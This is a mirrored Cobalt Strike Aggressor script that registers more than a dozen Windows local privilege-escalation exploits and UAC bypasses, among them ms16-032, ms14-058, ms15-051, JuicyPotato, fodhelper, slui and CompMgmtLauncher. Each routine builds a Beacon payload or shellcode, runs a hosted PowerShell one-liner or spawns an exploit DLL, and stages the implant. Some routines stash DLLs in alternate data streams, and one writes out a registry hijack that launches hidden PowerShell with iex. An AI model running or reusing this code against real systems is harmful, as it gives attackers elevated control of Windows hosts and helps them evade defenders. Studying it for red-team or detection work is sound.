mirror of
https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts
synced 2026-06-08 17:50:44 +00:00
TimWhite
396 lines
12 KiB
Plaintext
396 lines
12 KiB
Plaintext
|
|
sub ms16_032_exploit {
|
|
local('$script $oneliner');
|
|
|
|
# acknowledge this command
|
|
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");
|
|
|
|
# generate a PowerShell script to run our Beacon listener
|
|
$script = artifact($2, "powershell");
|
|
|
|
# host this script within this Beacon
|
|
$oneliner = beacon_host_script($1, $script);
|
|
|
|
# task Beacon to run this exploit with our one-liner that runs Beacon
|
|
bpowershell_import!($1, script_resource("elevate/modules/Invoke-MS16032.ps1"));
|
|
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
|
|
|
|
# give it another 10s to work.
|
|
bpause($1, 10000);
|
|
|
|
# handle staging
|
|
bstage($1, $null, $2);
|
|
}
|
|
|
|
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);
|
|
|
|
# Integrate Matt Nelson's file-less eventvwr.exe Bypass UAC attack
|
|
# Sourced from Empire: https://github.com/adaptivethreat/Empire/tree/master/data/module_source/privesc
|
|
|
|
sub eventvwr_exploit {
|
|
# acknowledge this command
|
|
btask($1, "Tasked Beacon to run " . listener_describe($2) . " in a high integrity context");
|
|
|
|
# generate a PowerShell script to run our Beacon listener
|
|
$script = artifact($2, "powershell");
|
|
|
|
# host this script within this Beacon
|
|
$oneliner = powershell_encode_oneliner( beacon_host_script($1, $script) );
|
|
|
|
# task Beacon to run this exploit with our one-liner that runs Beacon
|
|
bpowershell_import!($1, script_resource("elevate/modules/Invoke-EventVwrBypass.ps1"));
|
|
bpowerpick!($1, "Invoke-EventVwrBypass -Command \" $+ $oneliner $+ \"");
|
|
|
|
# handle staging
|
|
bstage($1, $null, $2);
|
|
}
|
|
|
|
beacon_exploit_register("uac-eventvwr", "Bypass UAC with eventvwr.exe", &eventvwr_exploit);
|
|
|
|
# Integrate wscript.exe Bypass UAC attack
|
|
# Sourced from Empire: https://github.com/adaptivethreat/Empire/tree/master/data/module_source/privesc
|
|
|
|
sub wscript_exploit {
|
|
# acknowledge this command
|
|
btask($1, "Tasked Beacon to run " . listener_describe($2) . " in a high integrity context");
|
|
|
|
# generate a PowerShell script to run our Beacon listener
|
|
$script = artifact($2, "powershell");
|
|
|
|
# host this script within this Beacon
|
|
$oneliner = powershell_encode_oneliner( beacon_host_script($1, $script) );
|
|
|
|
# task Beacon to run this exploit with our one-liner that runs Beacon
|
|
bpowershell_import!($1, script_resource("elevate/modules/Invoke-WScriptBypassUAC.ps1"));
|
|
bpowerpick!($1, "Invoke-WScriptBypassUAC -payload \" $+ $oneliner $+ \"");
|
|
|
|
# handle staging
|
|
bstage($1, $null, $2);
|
|
}
|
|
|
|
beacon_exploit_register("uac-wscript", "Bypass UAC with wscript.exe", &wscript_exploit);
|
|
|
|
|
|
# Integrate windows/local/ms14_058_track_popup_menu from Metasploit
|
|
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
|
|
sub ms14_058_exploit {
|
|
local('$stager $arch $dll');
|
|
|
|
# acknowledge this command
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms14-058", "T1068");
|
|
|
|
# tune our parameters based on the target arch
|
|
if (-is64 $1) {
|
|
$arch = "x64";
|
|
$dll = getFileProper(script_resource("elevate/modules"), "cve-2014-4113.x64.dll");
|
|
}
|
|
else {
|
|
$arch = "x86";
|
|
$dll = getFileProper(script_resource("elevate/modules"), "cve-2014-4113.x86.dll");
|
|
}
|
|
|
|
# generate our shellcode
|
|
$stager = payload($2, $arch);
|
|
|
|
# spawn a Beacon post-ex job with the exploit DLL
|
|
bdllspawn!($1, $dll, $stager, "ms14-058", 5000);
|
|
|
|
# link to our payload if it's a TCP or SMB Beacon
|
|
beacon_link($1, $null, $2);
|
|
}
|
|
|
|
beacon_exploit_register("ms14-058", "TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)", &ms14_058_exploit);
|
|
|
|
# Integrate windows/local/ms15_051_client_copy_image from Metasploit
|
|
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
|
|
|
|
sub ms15_051_exploit {
|
|
# acknowledge this command
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");
|
|
|
|
# tune our parameters based on the target arch
|
|
if (-is64 $1) {
|
|
$arch = "x64";
|
|
$dll = script_resource("elevate/modules/cve-2015-1701.x64.dll");
|
|
}
|
|
else {
|
|
$arch = "x86";
|
|
$dll = script_resource("elevate/modules/cve-2015-1701.x86.dll");
|
|
}
|
|
|
|
# generate our shellcode
|
|
$stager = shellcode($2, false, $arch);
|
|
|
|
# make sure we have shellcode for this listener (some stagers are x86 only)
|
|
if ($stager is $null) {
|
|
berror($1, "No $arch stager for listener ' $+ $2 $+ '");
|
|
return;
|
|
}
|
|
|
|
# spawn a Beacon post-ex job with the exploit DLL
|
|
bdllspawn!($1, $dll, $stager, "ms15-051", 5000);
|
|
|
|
# stage our payload (if this is a bind payload)
|
|
bstage($1, $null, $2, $arch);
|
|
}
|
|
|
|
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
|
|
|
|
# Integrate windows/local/ms16_016_webdav from Metasploit
|
|
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms16_016_webdav.rb
|
|
|
|
sub ms16_016_exploit {
|
|
# check if we're on an x64 system and error out.
|
|
if (-is64 $1) {
|
|
berror($1, "ms16-016 exploit is x86 only");
|
|
return;
|
|
}
|
|
|
|
# acknowledge this command
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms16-016");
|
|
|
|
# generate our shellcode
|
|
$stager = shellcode($2, false, "x86");
|
|
|
|
# spawn a Beacon post-ex job with the exploit DLL
|
|
bdllspawn!($1, script_resource("elevate/modules/cve-2016-0051.x86.dll"), $stager, "ms16-016", 5000);
|
|
|
|
# stage our payload (if this is a bind payload)
|
|
bstage($1, $null, $2, $arch);
|
|
}
|
|
|
|
beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016_exploit);
|
|
|
|
# Credit to bytecode-77
|
|
# https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
|
|
sub slui_exploit {
|
|
local('$script $oneliner');
|
|
# ackowledge command
|
|
btask($1, "Tasked Beacon to run BypassUAC via slui.exe Registry hijack.", "T1088");
|
|
|
|
# Generate the payload
|
|
if (-is64 $1) {
|
|
$payload = artifact($2, "dllx64");
|
|
} else {
|
|
$payload = artifact($2, "dll");
|
|
}
|
|
|
|
$user = binfo($1, "user");
|
|
|
|
# Stuff it into an alternate data stream
|
|
bupload_raw($1, "C:\\Users\\" . $user . ":temp.dll", $payload);
|
|
|
|
# Task beacon to run exploit with rundll32 and the path to the dll
|
|
bpowershell_import!($1, script_resource("elevate/modules/FilelessUACBypass.ps1"));
|
|
bpowerpick!($1, "Invoke-SluiBypass -Command 'rundll32.exe C:\\Users\\" . $user . ":temp.dll,Start'");
|
|
|
|
#handle staging
|
|
bstage($1, $null, $2);
|
|
|
|
# Wait for payload to execute then remove the file
|
|
sleep(15 * 1000);
|
|
brm($1, "C:\\Users\\" . $user . ":temp.dll");
|
|
}
|
|
|
|
beacon_exploit_register("uac-slui", "Bypass UAC using Slui.exe Registry Hijack", &slui_exploit);
|
|
|
|
# Credit to winscripting
|
|
sub fodhelper_exploit {
|
|
local('$script $oneliner');
|
|
# ackowledge command
|
|
btask($1, "Tasked Beacon to run BypassUAC via fodhelper.exe Registry hijack.", "T1088");
|
|
|
|
# Generate the payload
|
|
if (-is64 $1) {
|
|
$payload = artifact($2, "dllx64");
|
|
} else {
|
|
$payload = artifact($2, "dll");
|
|
}
|
|
|
|
$user = binfo($1, "user");
|
|
|
|
# Stuff it into an alternate data stream
|
|
bupload_raw($1, "C:\\Users\\" . $user . ":temp.dll", $payload);
|
|
|
|
# Task beacon to run exploit with rundll32 and the path to the dll
|
|
bpowershell_import!($1, script_resource("elevate/modules/FilelessUACBypass.ps1"));
|
|
bpowerpick!($1, "Invoke-FodhelperBypass -Command 'rundll32.exe C:\\Users\\" . $user . ":temp.dll,Start'");
|
|
|
|
#handle staging
|
|
bstage($1, $null, $2);
|
|
|
|
# Remove file
|
|
sleep(15 * 1000);
|
|
brm($1, "C:\\Users\\" . $user . ":temp.dll");
|
|
}
|
|
|
|
beacon_exploit_register("uac-fodhelper", "Bypass UAC using Fodhelper Registry Hijack", &fodhelper_exploit);
|
|
|
|
sub compMgmtLauncher_exploit {
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " in a high-integrity context.");
|
|
|
|
$script = artifact($2, "powershell");
|
|
|
|
$oneliner = beacon_host_script($1, $script);
|
|
$oneliner = strrep($oneliner, "IEX ", "");
|
|
|
|
$cmd = "reg add HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command /d \"";
|
|
$cmd .= "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden iex -c " . $oneliner . "\" /f";
|
|
|
|
bshell($1, $cmd);
|
|
|
|
bcd($1, "C:\\Windows\\System32");
|
|
|
|
bpowerpick($1, ".\\CompMgmtLauncher.exe");
|
|
|
|
bshell($1, "reg delete HKEY_CURRENT_USER\\Software\\Classes\\mscfile /f");
|
|
}
|
|
|
|
beacon_exploit_register("compmgmt", "CompMgmtLauncher UAC bypass", &compMgmtLauncher_exploit);
|
|
|
|
# Integrate FuzzySecurity's UAC-TokenMagic.ps1 UAC Bypass
|
|
# https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1
|
|
|
|
sub tokenmagic_exploit {
|
|
# acknowledge this command
|
|
btask($1, "Tasked Beacon to run " . listener_describe($2) . " in a high integrity context");
|
|
|
|
# generate a PowerShell payload
|
|
$script = artifact($2, "powershell");
|
|
|
|
# host script within this Beacon
|
|
$oneliner = powershell_encode_oneliner(beacon_host_script($1, $script));
|
|
|
|
# run the exploit
|
|
bpowershell_import!($1, script_resource("elevate/modules/UAC-TokenMagic.ps1"));
|
|
bpowerpick!($1, 'UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c ' . $oneliner . '"');
|
|
|
|
# handle staging
|
|
bstage($1, $null, $2);
|
|
}
|
|
|
|
beacon_exploit_register("uac-tokenmagic", "Bypass UAC with token magic.", &tokenmagic_exploit);
|
|
|
|
alias audit_uac {
|
|
local('$script $oneliner');
|
|
# ackowledge command
|
|
btask($1, "Tasked Beacon to audit UAC settings", "T1088");
|
|
|
|
# Host this script within this beacon
|
|
$oneliner = powershell_encode_oneliner(beacon_host_script($1, $script));
|
|
|
|
# Task beacon to run exploit with oneliner that runs Beacon
|
|
bpowershell_import!($1, script_resource("elevate/modules/FilelessUACBypass.ps1"));
|
|
bpowerpick!($1, "Test-UAC");
|
|
|
|
}
|
|
beacon_command_register("audit_uac",
|
|
"Audit the host for which BypassUAC methods will be successful",
|
|
"Use: audit_uac\n\nDescription: Retrieve Always Notify UAC setting and host version number, then determine which fileless UAC bypass methods will work.",
|
|
"Retrieve Always Notify UAC setting and host version number, then determine which fileless UAC bypass methods will work.");
|
|
|
|
sub rottenpotato {
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " via RottenPotato (ms16-075)");
|
|
|
|
if (-is64 $1)
|
|
{
|
|
$arch = "x64";
|
|
$dll = script_resource("elevate/modules/potato.x64.dll");
|
|
} else {
|
|
$arch = "x86";
|
|
$dll = script_resource("elevate/modules/potato.x86.dll");
|
|
}
|
|
|
|
$stager = shellcode($2, false, $arch);
|
|
|
|
bdllspawn!($1, $dll, $stager, "NTLM DCOM->RPC NTLM Reflection (MS16-075)", 5000);
|
|
|
|
bstage($1, $null, $2, $arch);
|
|
}
|
|
|
|
beacon_exploit_register("rottenpotato", "RottenPotato (ms16-075)", &rottenpotato);
|
|
|
|
sub juicypotato {
|
|
btask($1, "Task Beacon to run " . listener_describe($2) . " via JuicyPotato (ms16-075)");
|
|
|
|
if (-is64 $1)
|
|
{
|
|
$arch = "x64";
|
|
$dll = script_resource("elevate/modules/JuicyPotato.x64.dll");
|
|
} else {
|
|
$arch = "x86";
|
|
$dll = script_resource("elevate/modules/JuicyPotato.x86.dll");
|
|
}
|
|
|
|
$stager = shellcode($2, false, $arch);
|
|
|
|
bdllspawn!($1, $dll, $stager, "NTLM DCOM->RPC NTLM Reflection (MS16-075)", 5000);
|
|
|
|
bstage($1, $null, $2, $arch);
|
|
}
|
|
|
|
beacon_exploit_register("juicypotato", "JuicyPotato (ms16-075)", &juicypotato);
|
|
|
|
|
|
sub ms16_135 {
|
|
|
|
local('$script $oneliner');
|
|
|
|
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via MS16-135");
|
|
|
|
# Generate PowerShell
|
|
$script = artifact($2, "powershell");
|
|
|
|
# Host script
|
|
$oneliner = beacon_host_script($1, $script);
|
|
|
|
# Source
|
|
$source = getFileProper(script_resource("elevate/modules"), "Invoke-MS16135.ps1");
|
|
|
|
# Import & run
|
|
bpowershell_import!($1, $source);
|
|
bpowerpick!($1, "Invoke-MS16135 -Command \" $+ $oneliner $+ \"");
|
|
|
|
# Wait
|
|
bpause($1, 10000);
|
|
|
|
# Stage
|
|
bstage($1, $null, $2);
|
|
|
|
}
|
|
|
|
|
|
beacon_exploit_register("ms16-135", "Win32k Elevation of Privilege (CVE-2016-7255)", &ms16_135);
|
|
|
|
|
|
sub silentcleanup_exploit {
|
|
|
|
# ackowledge command
|
|
btask($1, "Tasked Beacon to run BypassUAC via SilentCleanup Scheduled Task", "T1088");
|
|
|
|
# Generate the payload, specifying stage archiecture in argument $4
|
|
if (-is64 $1) {
|
|
$payload = artifact($2, "dllx64", $null, "x64");
|
|
$arch = "x64"
|
|
} else {
|
|
$payload = artifact($2, "dll", $null, "x86");
|
|
$arch = "x86"
|
|
}
|
|
|
|
$user = binfo($1, "user");
|
|
|
|
# Upload the DLL
|
|
bupload_raw($1, "C:\\Users\\" . $user . "\\temp.dll", $payload);
|
|
|
|
# Task beacon to run exploit with the path to the dll
|
|
bexecute_assembly($1, script_resource("elevate/modules/uac_bypass_silentcleanup.exe"), "c:\\users\\" . $user . "\\temp.dll,Start");
|
|
|
|
# Handle staging for named pipe beacons
|
|
bstage($1, $null, $2, $arch);
|
|
|
|
# Remove file (not working due to process lock)
|
|
sleep(15 * 1000);
|
|
#brm($1, "C:\\Users\\" . $user . "\\temp.dll");
|
|
}
|
|
beacon_exploit_register("uac-silentcleanup", "Scheduled task uac bypass using silentcleanup", &silentcleanup_exploit);
|